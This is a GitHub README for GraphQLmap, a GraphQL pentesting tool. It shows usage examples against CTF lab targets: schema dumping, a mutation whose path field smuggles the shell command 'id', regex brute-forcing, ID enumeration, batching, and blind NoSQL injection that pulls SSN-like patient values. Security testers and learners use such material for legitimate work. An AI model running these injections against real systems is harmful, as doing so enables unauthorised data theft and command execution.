Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - Do not use for illegal testing ;)

License

Notifications You must be signed in to change notification settings

swisskyrepo/GraphQLmap

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

63 Commits

Repository files navigation

GraphQLmap

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.

I ❀️ pull requests, feel free to improve this script :)

You can also contribute with a 🍻 IRL or using Github Sponsoring button.

Install

$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python setup.py install
$ graphqlmap 
 _____ _ ____ _ 
 / ____| | | / __ \| | 
 | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ 
 | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ 
 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
 \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ 
 | | | | 
 |_| |_| 
 Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]
optional arguments:
 -h, --help show this help message and exit
 -u URL URL to query : example.com/graphql?query={}
 -v [VERBOSITY] Enable verbosity
 --method [METHOD] HTTP Method to use interact with /graphql endpoint
 --headers [HEADERS] HTTP Headers sent to /graphql endpoint
 --json [USE_JSON] Use JSON encoding, implies POST
 --proxy [PROXY] HTTP proxy to log requests

Development setup

python -m venv .venv
source .venv/bin/activate
pip install --editable .
pip install -r requirements.txt
./bin/graphqlmap -u http://127.0.0.1:5013/graphql

Features and examples

⚠️ Examples are based on several CTF challenges from HIP2019.

Connect to a graphql endpoint

# Connect using POST and providing an authentication token
graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
# Pass request through Burp Proxy
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080

Dump a GraphQL schema

Use dump_new to dump the GraphQL schema, this function will automatically populate the "autocomplete" with the found fields.
πŸŽ₯ Live Example

GraphQLmap > dump_new 
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!) 
 
Query 
 doctor[]: email (String!), 
 doctors[Doctor]: 
 patients[Patient]: 
 patient[]: id (ID!), 
 allrendezvous[Rendezvous]: 
 rendezvous[]: id (ID!), 
Doctor 
 id[ID]: 
 firstName[String]: 
 lastName[String]: 
 specialty[String]: 
 patients[None]: 
 rendezvous[None]: 
 email[String]: 
 password[String]: 
[...]

Interact with a GraphQL endpoint

Write a GraphQL request and execute it.

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
{
 "data": {
 "doctors": [
 {
 "firstName": "Admin",
 "id": "5d089c51dcab2d0032fdd08d",
 "lastName": "Admin"
 }
 ]
 }
}

It also works with mutations, they must be written in a single line.

# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST
GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }}
{
 "data": {
 "importPaste": {
 "result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n"
 {
 {
{

GraphQL field fuzzing

Use GRAPHQL_INCREMENT and GRAPHQL_CHARSET to fuzz a parameter.
πŸŽ₯ Live Example

Example 1 - Bruteforce a character

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}} 
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}} 
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}} 
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}} 
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

Example 2 - Iterate over a number

Use GRAPHQL_INCREMENT_ followed by a number.

GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} }
[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} }
[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} }
[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} }
[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} }
[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} }
[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} }
[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} }
[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} }
[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} }
[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} }
GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} }
{ paste(pId: "9") {id,title,content,public,userAgent} }
{
 "data": {
 "paste": {
 "content": "I was excited to spend time with my wife without being interrupted by kids.",
 "id": "UGFzdGVPYmplY3Q6OQ==",
 "public": true,
 "title": "This is my first paste",
 "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
 }
 }
}

GraphQL Batching

GraphQL supports Request Batching. Batched requests are processed one after the other by GraphQL Use BATCHING_PLACEHOLDER before a query to send it multiple times inside a single request.

GraphQLmap > BATCHING_3 {__schema{ types{namea}}}
[+] Sending a batch of 3 queries
[+] Successfully received 3 outputs
GraphQLmap > BATCHING_2 {systemUpdate}
[+] Sending a batch of 2 queries
[+] Successfully received 2 outputs

NoSQLi injection

Use BLIND_PLACEHOLDER inside the query for the nosqli function.
πŸŽ₯ Live Example

GraphQLmap > nosqli
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >

SQL injection

GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli

Practice

TODO

  • GraphQL Field Suggestions
  • Generate mutation query
  • Unit tests
  • Handle node
{
 user {
 edges {
 node {
 username
 }
 }
 }
}

About

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - Do not use for illegal testing ;)

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Sponsor this project

Contributors 11

Languages

AltStyle γ«γ‚ˆγ£γ¦ε€‰ζ›γ•γ‚ŒγŸγƒšγƒΌγ‚Έ (->γ‚ͺγƒͺγ‚ΈγƒŠγƒ«) /